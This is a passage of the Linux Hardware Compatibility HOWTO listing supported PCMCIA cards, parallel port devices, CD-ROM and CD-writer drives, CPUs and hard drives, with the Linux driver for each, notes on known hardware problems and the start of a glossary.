  • Fujitsu, TDK, RATOC, CONTEC, Eagle and Nextcom cards use the fmvj18x_cs driver

All other cards use the pcnet_cs driver. Other NE2000-compatible cards that are not on the list are also likely to work with pcnet_cs.

  • 3Com 3c589, 3c589B, 3c589C, 3c589D (3c589_cs)

  • 3Com Megahertz 3CCE589E, 3CXE589D, 3CXE589EC (3c589_cs)

  • Accton EN2212, EN2216 EtherCard (pcnet_cs)

  • Accton SOHO BASIC EN220 (pcnet_cs)

  • Addtron Ethernet (pcnet_cs)

  • AIBrain EPCM-T (pcnet_cs)

  • Allied Telesis CentreCOM CE6001, LA-PCM, LA-PCM V2 (pcnet_cs)

  • AmbiCom AMB8002, AMB8002T (pcnet_cs)

  • AnyCom ECO Ethernet (pcnet_cs)

  • Apollo RE450CT (pcnet_cs)

  • Argosy EN210 (pcnet_cs)

  • Asante FriendlyNet (pcnet_cs) (new cards seem not to work!!)

  • AST 1082 Ethernet (pcnet_cs)

  • Billionton LNT-10TB, LNT-10TN (pcnet_cs)

  • Califormia Access LAN Adapter

  • CeLAN EPCMCIA (pcnet_cs)

  • CNet CN30BC, CN40BC Ethernet (pcnet_cs)

  • Compaq Ethernet Adapter (xirc2ps_cs)

  • Compex/ReadyLINK Ethernet Combo (pcnet_cs)

  • Compex Linkport Ethernet (pcnet_cs)

  • COMPU-SHACK BASEline Ethernet (pcnet_cs)

  • Connectware LANdingGear Adapter (pcnet_cs)

  • Corega Ether PCC-T, PCM-T (pcnet_cs)

  • CyQ've ELA-010 10baseT (pcnet_cs)

  • CONTEC C-NET(PC)C (fmvj18x_cs)

  • Danpex EN-6200P2 Ethernet (pcnet_cs)

  • Datatrek NetCard (pcnet_cs)

  • Dayna Communications CommuniCard E (pcnet_cs)

  • Digital DEPCM-AA, PCP78-AC Ethernet (pcnet_cs)

  • Digital EtherWORKS Turbo Ethernet (pcnet_cs)

  • D-Link DE-650, DE-660 (pcnet_cs)

  • DynaLink L10C Ethernet (pcnet_cs)

  • Eagle NE200 Ethernet (fmvj18x_cs)

  • Edimax Technology Ethernet Combo (pcnet_cs)

  • EFA InfoExpress 205, 207 Combo (pcnet_cs)

  • Eiger Labs EPX-ET10T2 Combo (pcnet_cs)

  • Eiger Labs EPX-10BT, EPX-ET 10BT EPX-ET 10TZ (fmvj18x_cs)

  • ELECOM Laneed LD-CDWA, LD-CDX, LD-CDNIA, LD-CDY, LD-CDF (pcnet_cs)

  • EP-210 Ethernet (pcnet_cs)

  • Epson Ethernet (pcnet_cs)

  • EtherPRIME Ethernet (pcnet_cs)

  • Explorer NE-10000 Ethernet (pcnet_cs)

  • EZLink 4109 Ethernet (pcnet_cs)

  • Farallon Etherwave, EtherMac (3c589_cs)

  • Fiberline FL-4680 (pcnet_cs)

  • Fujitsu FMV-J181, FMV-J182, FMV-J182A, FMV-J183 (fmvj18x_cs)

  • Fujitsu Towa LA501, FMV-1080, FM50N-183 (fmvj18x_cs)

  • Gateway 2000 Ethernet (pcnet_cs)

  • Genius ME3000II Ethernet (pcnet_cs)

  • Grey Cell Ethernet (pcnet_cs)

  • GVC NIC-2000P Ethernet Combo (pcnet_cs)

  • Hitachi HT-4840-11 EtherCard (fmvj18x_cs)

  • Hypertec HyperNet (pcnet_cs)

  • IBM CreditCard Ethernet Adapter (pcnet_cs)

  • IC-Card Ethernet (pcnet_cs)

  • Infotel IN650ct Ethernet (pcnet_cs)

  • I-O Data PCLA/T, PCLA/TE (pcnet_cs)

  • Katron PE-520 Ethernet (pcnet_cs)

  • KingMax Technology EN10-T2 Ethernet (pcnet_cs)

  • Kingston KNE-PCM/M, KNE-PC2, KNE-PC2T (pcnet_cs)

  • KTI PE-520 Plus (pcnet_cs)

  • LANEED LD-CDW Ethernet (pcnet_cs)

  • LanPro EP4000A (pcnet_cs)

  • Lantech Ethernet (pcnet_cs)

  • Level One EPC-0100TB (pcnet_cs)

  • Linksys EtherCard (pcnet_cs)

  • Logitec LPM-LN10T, LPM-LN10BA, LPM-LN20T Ethernet (pcnet_cs)

  • Longshine ShineNet LCS-8534TB Ethernet (pcnet_cs)

  • Macnica ME-1 Ethernet (pcnet_cs)

  • Maxtech PCN2000 Ethernet (pcnet_cs)

  • Megahertz XJ10BT, XJ10BC, CC10BT Ethernet (smc91c92_cs)

  • Melco LPC-TJ, LPC-TS, LPC-T, LPC2-T (pcnet_cs)

  • Microdyne NE4200 Ethernet (pcnet_cs)

  • Midori LANNER LT-PCMT (pcnet_cs)

  • Micronet Etherfast Adapter (pcnet_cs)

  • NDC Instant-Link (pcnet_cs)

  • Network General ``Sniffer'' (pcnet_cs)

  • New Media EtherLAN (nmclan_cs)

  • New Media LanSurfer (pcnet_cs)

  • New Media LiveWire (NOT the LiveWire+) (nmclan_cs)

  • New Media BASICS Ethernet (smc91c92_cs)

  • NextCom NC5310 (fmvj18x_cs)

  • Novell/National NE4100 InfoMover (pcnet_cs)

  • Ositech Four of Diamonds (smc91c92_cs)

  • OvisLink Ethernet (pcnet_cs)

  • Panasonic CF-VEL211P-B (pcnet_cs)

  • Planet SmartCom 2000, 3500, ENW-3501-T, ENW-3502-T (pcnet_cs)

  • Pretec Ethernet (pcnet_cs)

  • PreMax PE-200 Ethernet (pcnet_cs)

  • Proteon Ethernet (pcnet_cs)

  • Ratoc REX-9822, REX-5588A/W, REX-R280 (fmvj18x_cs)

  • Relia RE2408T Ethernet (pcnet_cs)

  • Reliasys 2400A Ethernet (pcnet_cs)

  • RPTI EP400, EP401 Ethernet (pcnet_cs)

  • SCM Ethernet (pcnet_cs)

  • Sky Link Express (pcnet_cs)

  • SMC 8020BT EtherEZ (not the EliteCard) (smc91c92_cs)

  • SMC 8022 EZCard-10 (pcnet_cs)

  • Socket Communications EA LAN Adapter (pcnet_cs)

  • Socket Communications LPE Low Power Ethernet (pcnet_cs)

  • SOHOware Ethernet (pcnet_cs)

  • SuperSocket RE450T (pcnet_cs)

  • Surecom Ethernet (pcnet_cs)

  • SVEC PN605C (pcnet_cs)

  • TDK LAC-CD02x, LAK-CD021, LAK-CD022A, LAK-CD021AX, LAK-CD021BX (fmvj18x_cs)

  • Thomas-Conrad Ethernet (pcnet_cs)

  • Trust Ethernet Combo (pcnet_cs)

  • UNEX NexNIC MA010 (pcnet_cs)

  • Volktek NPL-402CT Ethernet (pcnet_cs)

  • Xircom CreditCard CE2 (xirc2ps_cs)

27.2. Fast Ethernet (10/100baseT) adapters

epic_cb and tulip_cb drivers are experimental and need a 2.2.x or newer kernel

  • 3Com 3c574TX, 3CCFE574BT (3c574_cs)

  • 3Com 3c575TX, 3CCFE575BT, 3CXFE575BT CardBus (3c575_cb, performance problem)

  • Abocom LinkMate FE1000 (pcnet_cs)

  • Accton Fast EtherCard-16 (xirc2ps_cs)

  • Accton EN2220 CardBus (tulip_cb)

  • Allied Telesyn AT-2800 (tulip_cb)

  • AmbiCom AMB8100 (tulip_cb)

  • AnyCom ECO Ethernet 10/100 (pcnet_cs)

  • Apollo Fast Ethernet (pcnet_cs)

  • Argosy EN220 (smc91c92_cs)

  • Compaq Netelligent 10/100 (xirc2ps_cs)

  • Compex Linkport TX (tulip_cb)

  • COMPU-SHACK FASTline 10/100 (pcnet_cs)

  • Corega FastEther PCC-TX (pcnet_cs)

  • D-Link DFE-650 (pcnet_cs)

  • D-Link DFE-660TX (tulip_cb)

  • Dynalink L100C (smc91c92_cs)

  • EXP ThinLan 100 (pcnet_cs)

  • Fiberline Fast Ethernet (pcnet_cs)

  • Hamlet FE1000 10/100 (pcnet_cs)

  • Intel EtherExpress PRO/100 (xirc2ps_cs, 16-bit NOT 32-bit)

  • IO DATA PCET/TX (pcnet_cs)

  • Kingston KNE-CB4TX (tulip_cb)

  • KTI KF-C16 (pcnet_cs)

  • Laneed LD-10/100CD (pcnet_cs)

  • Lantech FastNet/TX (smc91c92_cs)

  • LevelOne FPC-0100TX (pcnet_cs)

  • LevelOne FPC-0101TX 10/100Mbps CardBus (tulip_cb)

  • Linksys PCMPC100 EtherFast 10/100 (pcnet_cs)

  • Linksys PCMPC200 EtherFast CardBus (tulip_cb)

  • Logitec LPM-LN100TX (pcnet_cs)

  • Melco LPC2-TX (pcnet_cs)

  • Melco/SMC LPC-TX (smc91c92_cs)

  • Microcom TravelCard 10/100 (pcnet_cs)

  • Micronet EtherFast Adapter (pcnet_cs)

  • NetGear FA410TXC (pcnet_cs)

  • Ositech Seven of Diamonds (smc91c92_cs)

  • Ositech Seven of Spades CardBus (epic_cb)

  • Planet FNW-3600T (pcnet_cs)

  • SMC EZ CardBus 10/100 Ethernet (tulip_cb)

  • SVEC FD606 10/100 Ethernet (tulip_cb)

  • TDK NetworkFlyer LAK-CB100X, LAK-CB100AX CardBus (tulip_cb)

  • Toshiba IPC5008A, Advanced Network 10/100 (xirc2ps_cs)

  • UMAX Technologies UMAX250 (tulip_cb)

  • WiseCom WC-PC400 (smc91c92_cs)

  • Xircom CBEII-10/100 (tulip_cb)

  • Xircom CreditCard CE3 (xirc2ps_cs, new cards may not work !!)

27.3. Token-ring adapters

You should at least have kernel 1.3.72

  • 3Com 3c389 Tokenlink Velocity (ibmtr_cs)

  • 3Com 3c689 TokenLink III (ibmtr_cs)

  • IBM Token ring Adapter (ibmtr_cs)

  • IBM Turbo 16/4 Token Ring (ibmtr_cs)

27.4. Wireless network adapters

  • Aironet PC4500, PC4800 wireless network adapters (airco_cs) (Ben Reed breed@almaden.ibm.com)

  • AT&T / NCR / Lucent WaveLAN version 2.0 (wavelan_cs)

  • DEC RoamAbout/DS (wavelan_cs)

  • Harris PRISM/AM79C930 IEEE 802.11 wireless LAN here (Mark Mathews mark@absoval.com)

  • Lucent WaveLAN/IEEE wireless network adapter (wavelan2_cs) (Lucent Technologies betasupport@wavelan.com)

  • ORiNOCO Silver and Gold adapters from Lucent/Agere and Avaya. (orinoco_cs/wvlan_cs)

  • Raylink Wireless Network here (Corey Thomas corey@world.std.com)

  • WaveLAN/IEEE wireless network adapter here (Andreas Neuhaus andy@fasta.fh-dortmund.de)

  • Xircom CreditCard Netwave (netwave_cs)

27.5. ISDN

  • Elsa MicroLink ISDN adapter (elsa_cs) (Klaus Lichtenwalder Klaus.Lichtenwalder@WebForum.DE)

  • MPS ISLINEnote ISDN adapter (mpsuni_cs) (Detlef Glaschick glaschick@mps-software.de)

  • Sedlbauer Speed Star ISDN adapter (sedl_cs) (Marcus Niemann niemann@www-bib.fh-bielefeld.de)

  • Teles ISDN adapter (teles_cs) (Christof Petig ea0141@uni-wuppertal.de)

27.6. Modem and serial cards

Virtually all modem cards, simple serial port cards, and digital cellular modems should work. Also ISDN modems that emulate a standard UART are supported.

  • Advantech COMpad-32/85 dual serial (serial_cs)

  • Argosy dual serial (serial_cs)

  • Black Box I114A RS-422/485 (serial_cs)

  • National Instruments PCMCIA-232, PCMCIA-232/2, PCMCIA-232/4 (serial_cs)

  • National Instruments PCMCIA-485, PCMCIA-485/2 (serial_cs)

  • Omega Engineering QSP-100 (serial_cs)

  • Quatech, IOTech dual RS-232 cards (serial_cs)

  • Quatech quad RS-232 card (serial_cs)

  • Socket Communications dual RS-232 card (serial_cs)

  • Trimble Mobile GPS (serial_cs)

27.7. Memory cards

All SRAM cards should work. Unsupported flash cards can be read but not written.

  • Epson 2MB SRAM

  • IBM 8MB Flash (memory_cs)

  • Intel Series 2, Series 2+ and Value Series 100 Flash (memory_cs)

  • Maxtor MobileMax 16MB Flash (memory_cs)

  • New Media SRAM

  • RATOC SmartMedia Adapter (memory_cs)

  • TDK Flash Memory SFM20W/C 20MB (memory_cs)

27.8. SCSI adapters

Be careful. Many vendors, particularly CD-ROM vendors, seem to switch controller chips at will. Generally, They will use a different product code, but not always: older (supported) New Media Bus Toaster cards are not easily distinguishable from the current (unsupported) Bus Toaster cards.

  • Adaptec APA-1450A, APA-1460, APA-1460A/B/C/D SlimSCSI (aha152x_cs)

  • Adaptec SlimSCSI 1480 Cardbus (apa1480_cb, experimental, requires kernel 2.2.2.x or later)

  • Digital SCSI II adapter

  • Eiger Labs SCSI (qlogic_cs)

  • Epson SC200 (qlogic_cs)

  • Future Domain SCSI2GO (fdomain_cs)

  • IBM SCSI (fdomain_cs)

  • Iomega ZIP and JAZ Cards (PPA3) (aha152x_cs)

  • IO-DATA PCSC-II, PCSC-II-L

  • IO-DATA CDG-PX44/PCSC CD-ROM

  • Logitec LPM-SCSI2

  • Logitec LCD-601 CD-ROM

  • MACNICA mPS110, mPS110-LP SCSI (qlogic_cs)

  • Melco IFC-SC2, IFC-DC

  • Midori CN-SC43 (qlogic_cs)

  • NEC PC-9801N-J03R (qlogic_cs)

  • New Media Bus Toaster SCSI (older cards only) (aha152x_cs)

  • New Media Toast 'n Jam (SCSI only) (aha152x_cs)

  • Noteworthy Bus Toaster SCSI (aha152x_cs)

  • Panasonic KXL-D740, KXL-DN740A, KXL-DN740A-NB 4X CD-ROM

  • Pioneer PCP-PR1W, PCP-PR2W CD-ROM

  • Qlogic FastSCSI (qlogic_cs)

  • Raven CD-Note 4X (qlogic_cs)

  • RATOC REX-9530 SCSI-2 (qlogic_cs)

  • Simple Technologies SCSI (fdomain_cs)

  • Sony CD-ROM Discman PRD-250

  • Taxan ICD-400PN

  • Toshiba NWB0107ABK, SCSC200A, SCSC200B (qlogic_cs)

27.9. ATA/IDE CD-ROM adapters

You should at least have kernel 1.3.72

  • Argosy EIDE CD-ROM (ide_cs)

  • Caravelle CD-36N (ide_cs)

  • CNF CARDport CD-ROM (ide_cs)

  • Creative Technology CD-ROM (ide_cs)

  • Digital Mobile Media CD-ROM (ide_cs)

  • EXP CD940 CD-ROM (ide_cs, Some work, some do not)

  • EXP Traveler 620 CD-ROM (ide_cs)

  • H45 Technologies Quick 2x CD-ROM (ide_cs)

  • H45 Technologies QuickCD 16X (ide_cs)

  • IBM Max 20X CD-ROM (ide_cs)

  • IO DATA CDP-TX4/PCIDE, CDP-TX6/PCIDE, CDV-HDN6/PCIDE (ide_cs)

  • IO DATA CDP-TX10/PCIDE, CDP-FX24/CBIDE, MOP-230/PCIDE (ide_cs)

  • IO DATA HDP-1G/PCIDE, HDP-1.6G/PCIDE (ide_cs)

  • Microtech International MicroCD (ide_cs)

  • Microtech Mii Zip 100 (ide_cs)

  • NOVAC NV-CD410 (ide_cs)

  • Sony PCGA-CD5 CD-ROM (ide_cs)

  • TEAC IDE Card/II (ide_cs)

27.10. Multifunction cards

You should at least have kernel 1.3.73

  • 3Com 3c562, 3c562B/C/D, 3c563B/C/D (3c589_cs)

  • 3Com Megahertz 3CCEM556, 3CXEM556, 3CCEM556B (3c589_cs)

  • 3Com Megahertz 3CCFEM556 (3c574_cs)

  • 3Com 3CCFEM656B (3c575_cb, ethernet only!!)

  • Accton UE2218 (pcnet_cs)

  • ActionTex ComNet 33.6 (pcnet_cs)

  • AnyCom Fast Ethernet + 56K Combo (pcnet_cs)

  • Asus combo card (pcnet_cs)

  • Billionton LM5LT-10B (pcnet_cs)

  • Compaq Microcom CPQ550 Modem + 10/100 LAN (xirc2ps_cs)

  • Dayna Communicard (pcnet_cs)

  • D-Link DME336T, DMF560TX (pcnet_cs)

  • Gateway Telepath Combo (smc91c92_cs)

  • Grey Cell GCS3400 (pcnet_cs)

  • GVC LAN modem (pcnet_cs)

  • IBM Home and Away, Home and Away 28.8 (pcnet_cs)

  • IO DATA PCEM-336T (pcnet_cs)

  • Intel EtherExpress PRO/100 LAN/Modem (xirc2ps_cs)

  • Linksys LANmodem 28.8 (PCMLM28), 33.6 (PCMLM336) (pcnet_cs)

  • Linksys EtherFast LANmodem 56K (PCMLM56) (pcnet_cs)

  • Megahertz/U.S. Robotics EM1144, EM3288, EM3336 (smc91c92_cs)

  • Motorola Mariner (smc91c92_cs)

  • Motorola Marquis (3c589_cs)

  • Ositech Jack of Diamonds, Jack of Hearts (smc91c92_cs)

  • Ositech Jack of Spades CardBus (epic_cb, experimental, requires kernel 2.2.x or later)

  • PREMAX LAN modem (pcnet_cs)

  • Psion V.34 Gold Card (pcnet_cs)

  • Psion Gold Card Netglobal 56K+10Mb (pcnet_cs)

  • Rover ComboCard 33.6 (pcnet_cs)

  • TDK 3000/3400/5670 (pcnet_cs)

  • Telecom Device SuperSocket LM336 (pcnet_cs)

  • Xircom CreditCard CEM28, CEM33, CEM56 (xirc2ps_cs)

  • Xircom RealPort REM10BT, REM56G-100 (xirc2ps_cs)

  • Xircom RBEM56G-100BTX, CBEM56G-100BTX (tulip_cb, experimental, requires kernel 2.2.x or later)

27.11. ATA/IDE card drives

These card drives are supported starting with kernel 1.3.72. Both Flash-ATA cards and rotating-media cards are supported. The very old Western Digital 40MB drives are not supported, because they do not conform to the PCMCIA ATA specifications.

27.12. ATA/IDE Interface Cards

  • Archos Zip100 MiniDrive (ide_cs)

  • Microtech International XpressDock (ide_cs)

  • DataStor Technology PCMCIA ATA/ATAPI Card (ide_cs)

  • Creo DNBoy (ide_cs)

  • GREYSTONE DD-25 (ide_cs)

  • Shining Technology CitiDISK 250PE (ide_cs)

  • Sicon Periperal Micro Mate (ide_cs)

27.13. Parallel port cards:

See the appendix on supported parallel port devices

27.14. Miscellaneous cards

  • GemPlus GPR400 Smart Card Reader here (Wolf Geldmacher wgeldmacher@paus.ch)

  • IBM Smart Capture (iscc_cs) (Koji Okamura oka@ec.kyushu-u.ac.jp)

  • IBM Etherjet (cs89x0_cs) (Danilo Beuche danili@cs.uni-magdeburg.de)

  • National Instruments DAQcard700 here (Oleg Subbotin)

  • Netwave AirSurfer Plus (asplus_cs) here (Jay Moorman jrmoorma@uiuc.edu)

  • New Media Bus Toaster SCSI (new version) (sym53c500_cs) (Tim Corner tcorner@via.at)

  • New Media BASICS SCSI (sym53c500_cs) (Tim Corner tcorner@via.at)

  • Nokia/InTalk ST-500A here (Mark Mathews mark@absoval.com)

  • Proxim RangeLAN2 and Symphony wireless LAN cards here (Dave Koberstein davek@komacke.com)

  • RATOC REX-9590 (iscc_cs) (Koji Okamura oka@nanotsu.kobe-u.ac.jp)

  • Samsung MagicWave SWL-1000N here (Mark Mathews mark@absoval.com)

  • Silicom SPE ethernet, SEM EtherModem, SES EtherSerial here

  • SIMA TECH SCSI9000 (sym53c500_cs) (Tim Corner tcorner@via.at)

  • SST 5136-DN-PC DeviceNet Interface (ss5136_cs) here (Mark Sutton Mark.Sutton@laitram.com)

  • Trimble Mobile GPS (uses serial/modem driver)

  • Y-E Data FlashBuster floppy drive adapter (floppy_cs) (David Bateman dbateman@eng.uts.edu.au)

  • Zoom Telephonics ZoomAir 4000 here (Mark Mathews mark@absoval.com)

27.15. Working on ...

People are working on the following cards:

  • Roland SCP-55 MIDI (Toshiaki Nakatsu ir9k-nkt@asahi.net.or.jp)

  • CyberRom CD-ROM (David Rowntree rowntree@dircon.co.uk)

  • IO DATA PCSC-II (Katayama Nobuhiro kata-n@po.iijnet.or.jp)

  • Macnica mPS-1x0 (Katayama Nobuhiro kata-n@po.iijnet.or.jp)

  • Proxim RangeLAN/2 here

  • TView Preso (Brenden Tuck friar@zendragon.com)

27.16. Unsupported

  • Adaptec/Trantor APA-460 SlimSCSI

  • Eiger Labs SCSI w/FCC ID K36..

  • New Media .WAVjammer and all other sound cards

  • New Media LiveWire+

  • Nikon CoolPix100

  • Panasonic KXL-D720, KXL-D745, KXL-D783 (Note: SCSI controller of KXL-D745 is supported as a Qlogic FAS adapter.)

  • SMC 8016 EliteCard

  • Xircom CE II Ethernet/Modem

  • Xircom CE-10BT Ethernet

Prev | Home | Next
Appendix A. S3 cards supported by XFree86 3.3.x. |  | Appendix C. Supported Parallel Port devices


Appendix C. Supported Parallel Port devices

Linux Hardware Compatibility HOWTO
Prev Next

28. Appendix C. Supported Parallel Port devices

More and more, the parallel port is used to connect other devices than printers. To support this parallel port drivers are written for the devicesto work. This appendix presents devices for which parallel port support is written.

To be clear: printers are not presented in this appendix as they are not supported by parallel port support projects.

Also, check the Linux Parallel Port support pages for more information here. Here you can find

  • paride subsystem for parallel port IDE devices ( here)

  • support for parallel port SCSI devices ( here)

28.1. Ethernet

  • Accton EtherPocket adapter

  • AT-Lan-Tec/RealTek parallel port ethernet adapter

  • D-Link DE600/DE620 parallel port ethernet adapter

28.2. Hard drives

  • H45 Quick HD

  • KingByte IDE/ATAPI disks

  • KT Technologies PHd portable hard disk

  • MicroSolutions backpack hard-drives

  • SyQuest EZ-135

  • SyQuest EZ-230

  • SyQuest SparQ

  • ValueStor external hard-drive

28.3. Tape drives

  • Hewlett-Packard Colorado Tracker 250 tape drive (all except the T1000e)

  • Hewlett-Packard HP Colorado 5GB tape drive

  • Iomega Ditto tape drive

  • MicroSolutions backpack 8000t, 8000td tape drives

28.4. CD-ROM drives

  • Freecom Power CD

  • Freecom Traveller CD-ROM

  • H45 Quick CD

  • Hewlett-Packard HP 7100e/7200e CD-R

  • KingByte IDE/ATAPI CD-ROMs

  • MicroSolutions backpack CD-ROM. Models 163550 and later are supported by the paride driver. For models 160550 and 162550 seperate drivers are availavble.

  • MicroSolutions backpack PD/CD drive

  • SyQuest SyJet

28.5. Removable drives

  • Avatar Shark 250

  • Imation Superdisk

  • Iomega ZIP, ZIP Plus drives

28.6. IDE Adapter

  • Arista ParaDrive products

  • DataStor Commuter disks

  • Fidelity International Technologies TransDisk products

  • Freecom IQ Cable Parallel

  • Shuttle Technology EPAT/EPEZ parallel port IDE adapter

  • Shuttle Technology EPIA parallel port IDE adapter

28.7. SCSI Adapters

  • Adaptec APA-348 mini-SCSI plus adapter cable Driver available at here

  • Adaptec APA-358 mini-SCSI EPP adapter cable Driver available at here

  • Shuttle Technology EPSA-2 parallel port SCSI adapter Driver available at here

  • Shuttle Technology EPST parallel port SCSI adapter Driver available at here

28.8. Digital Camera

  • Connectix QuickCam

28.9. PCMCIA parallel port cards

The parport_cs driver requires kernel 2.2.x or later

  • Quatech SPP-100

  • IOtech DBK35, WBK20A

Prev | Home | Next
Appendix B. Supported PCMCIA cards |  | Appendix D. Plug and Play devices


Appendix D. Plug and Play devices

Linux Hardware Compatibility HOWTO
Prev Next

29. Appendix D. Plug and Play devices

For people having trouble getting Plug and Play devices to work, the ISA PnP utilities written by Peter Fox are available. Quote from the README:

These programs allow ISA Plug-And-Play devices to be configured on a Linux machine. This program is suitable for all systems, whether or not they include a PnP BIOS.

Commands have been taken from the Plug and Play ISA specification Version 1.0a.

More information on ISA PnP utilities can be found on the website of Peter Fox: here

Please let me know about hardware (not normally supported under Linux) which can be put to work with the aid of these utilities. A list of this hardware will be put in this appendix.

Prev | Home | Next
Appendix C. Supported Parallel Port devices |  | Appendix E. Linux incompatible Hardware


CD-Writers

Linux Hardware Compatibility HOWTO
Prev Next

18. CD-Writers

Many CD-Writers are supported by Linux now. For an up to date list of CD-Writers supported check the CD-Writing HOWTO, check here or check here. Cdwrite here and cdrecord here can be used for writing CD's. The X-CD-Roast package for Linux is a graphical front-end for using CD writers. The package can be found at here.

  • Grundig CDR 100 IPW

  • HP CD-Writer+ 7100

  • HP SureStore 4020i

  • HP SureStore 6020es/i

  • JVC XR-W2010

  • Kodak PCD 225

  • Mitsubishi CDRW-226

  • Mitsumi CR-2600TE

  • Olympus CDS 620E

  • Philips CDD-521/10,522,2000,2600,3610

  • Pinnacle Micro RCD-5020/5040

  • Plextor CDR PX-24CS

  • Ricoh MP 1420C

  • Ricoh MP 6200S/6201S

  • Sanyo CRD-R24S

  • Smart and Friendly Internal 2006 Plus 2.05

  • Sony CDU 920S/924/926S

  • Taiyo Yuden EW-50

  • TEAC CD-R50S

  • WPI(Wearnes) CDR-632P

  • WPI(Wearnes) CDRW-622

  • Yamaha CDR-100

  • Yamaha CDR-200/200t/200tx

  • Yamaha CDR-400t/400tx

Prev | Home | Next
CD-ROM drives |  | Removable drives


CD-ROM drives

Linux Hardware Compatibility HOWTO
Prev Next

17. CD-ROM drives

For more information on CD-ROM drives check the CDROM-HOWTO.

17.1. Supported

Common CD-ROM drives

  • SCSI CD-ROM drives (From the CD-ROM HOWTO) Any SCSI CD-ROM drive with a block size of 512 or 2048 bytes should work under Linux; this includes the vast majority of CD-ROM drives on the market.

  • EIDE (ATAPI) CD-ROM drives (IDECD) Almost all double, quad and six speed drives are supported, including

    • Mitsumi FX400

    • Nec-260

    • Sony 55E

Proprietary CD-ROM drives

  • Aztech CDA268-01A, Orchid CDS-3110, Okano/Wearnes CDD-110, Conrad TXC, CyCDROM CR520ie/CR540ie/CR940ie (AZTCD)

  • Creative Labs CD-200(F) (SBPCD)

  • Funai E2550UA/MK4015 (SBPCD)

  • GoldStar R420 (GSCD)

  • IBM External ISA (SBPCD)

  • Kotobuki (SBPCD)

  • Lasermate CR328A (OPTCD)

  • LMS Philips CM 206 (CM206)

  • Longshine LCS-7260 (SBPCD)

  • Matsushita/Panasonic CR-521/522/523/562/563 (SBPCD)

  • MicroSolutions Backpack parallel portdrive (BPCD)

  • Mitsumi CR DC LU05S (MCD/MCDX)

  • Mitsumi FX001D/F (MCD/MCDX)

  • Optics Storage Dolphin 8000AT (OPTCD)

  • Sanyo CDR-H94A (SJCD)

  • Sony CDU31A/CDU33A (CDU31A)

  • Sony CDU-510/CDU-515 (SOMYCD535)

  • Sony CDU-535/CDU-531 (SONYCD535)

  • Teac CD-55A SuperQuad (SBPCD)

17.2. Alpha, Beta drivers

  • LMS/Philips CM 205/225/202 here

  • NEC CDR-35D (old) here

  • Sony SCSI multisession CD-XA here

  • Parallel Port Driver here

17.3. Notes

All CD-ROM drives should work similarly for reading data. There are various compatibility problems with audio CD playing utilities. (Especially with newer low-end NEC drives.) Some alpha drivers may not have audio support yet.

Early (single speed) NEC CD-ROM drives may have trouble with currently available SCSI controllers.

PhotoCD (XA) is supported. The hpcdtoppm program by Hadmut Danisch converts PhotoCD files to the portable pixmap format. The program can be obtained from here or as part of the PBM utilities.

Also, reading video CD is supported in kernel series 2.1.3x and later. A patch is available for kernel 2.0.30.

Finally, most IDE CD-ROM Changers are supported.

Prev | Home | Next
Tape drives |  | CD-Writers


CPU/FPU

Linux Hardware Compatibility HOWTO
Prev Next

4. CPU/FPU

Please see this note for more on non-x86 hardware.

4.1. Intel

Intel 386SX/DX/SL, 486SX/DX/SL/SX2/DX2/DX4, Pentium, Pentium Pro, Pentium II, Pentium III (regular and Xeon versions), Pentium 4, and Celeron are all supported.

4.2. AMD

AMD 386SX/DX, 486SX/DX/DX2/DX4, K5, K6, K6-2, K6-3, and Athlon (all varieties, including MP) are all supported. Older versions of K6 should be avoided as they are buggy. Setting "internal cache" disabled in bios setup can be a workaround. Some early K6-2 300Mhz have problems with the system chips.

The old NexGen processors are also supported.

A few very early AMD 486DX's may hang in some special situations. All current chips should be okay and getting a chip swap for old CPU's should not be a problem.

4.3. Cyrix

Cyrix 386SX/DX, 486SX/DX, 5x86, 6x86, and MediaGX are all supported.

  • enable cache on Cyrix processors

  • Cyrix software cache control

  • Cyrix 5x86 CPU register settings

4.4. IDT

IDT Winchip C6-PSME2006A processors are supported under Linux.

4.5. Transmeta

The Transmeta Crusoe processors are supported.

4.6. Misc. notes

Linux has built-in FPU emulation if you don't have a math coprocessor.

Linux supports SMP (multiple CPUs) in all 2.x kernels. See the Linux SMP HOWTO for more information.

ULSI Math*Co series has a bug in the FSAVE and FRSTOR instructions that causes problems with all protected mode operating systems. Some older IIT and Cyrix chips may also have this problem.

There are problems with TLB flushing in UMC U5S chips in very old kernels. (1.1.x)

Prev | Home | Next
Laptops |  | Memory


Hard drives

Linux Hardware Compatibility HOWTO
Prev Next

15. Hard drives

All hard drives should work if the controller is supported.

(From the SCSI HOWTO) All direct access SCSI devices with a block size of 256, 512, or 1024 bytes should work. Other block sizes will not work (Note that this can often be fixed by changing the block and/or sector sizes using the MODE SELECT SCSI command).

Large IDE (EIDE) drives work fine with newer kernels. The boot partition must lie in the first 1024 cylinders due to PC BIOS limitations.

Some Conner CFP1060S drives may have problems with Linux and ext2fs. The symptoms are inode errors during e2fsck and corrupt file systems. Conner has released a firmware upgrade to fix this problem, contact Conner at 1-800-4CONNER (US) or +44-1294-315333 (Europe). Have the microcode version (found on the drive label, 9WA1.6x) handy when you call.

Many Maxtor and Western Digital IDE drives are reported to not happily co-exist on the same IDE cable with the other manufacturers drive. Usually one of the drives will fail during operation. Solution is to put them on different IDE cables.

Certain Micropolis drives have problems with Adaptec and BusLogic cards, contact the drive manufacturers for firmware upgrades if you suspect problems.

  • Multiple device driver (RAID-0, RAID-1) (driver)

15.1. Unsupported

The following hard drives are mentioned as not supported by Linux. Read the bug report available.

  • NEC D3817, D3825, D3827, D3847 "These drives are slightly non-SCSI-2 compliant in the values reported in Mode Sense Page 3. In Mode Sense Page 3 all NEC D38x7 drives report their sector size as zero. The NEC drives are the first brand of drive we have ever encountered that reported the sector size as zero. Unfortunately, that field in Mode Sense Page 3 is not modifiable and there is no way to update the firmware on the D38x7 drives to correct this problem." Problems are mentioned for D3825 and D3827 (both revision 0407). Revision 0410 of these two hard drives seems to solve this problem.

Prev | Home | Next
Sound cards |  | Tape drives


Glossary

Linux Hardware Compatibility HOWTO
Prev

31. Glossary

AGP

Accelerated Graphics Port. A bus interconnect mechanism designed to improve performance of 3D graphics applications. AGP is a dedicated bus from the graphics subsystem to the core-logic chipset. here

ATAPI

AT Attachment Packet Interface. A new protocol for controlling mass storage devices similar to SCSI protocols. It builds on the ATA (AT Attachment) interface, the official ANSI Standard name for the IDE interface developed for hard disk drives. ATAPI is commonly used for hard disks, CD-ROM drives, tape drives, and other devices.

ATM

Asynchronous Transfer Mode

CDDA

Compact Disk Digital Audio. Capability of CD-ROM/Writer to read out audio tracks.

DMA

Direct Memory Access

EGA

Enhanced Graphics Adapter

EIDE

Enhanced IDE

EISA

Extended Industry System Architecture

FDDI

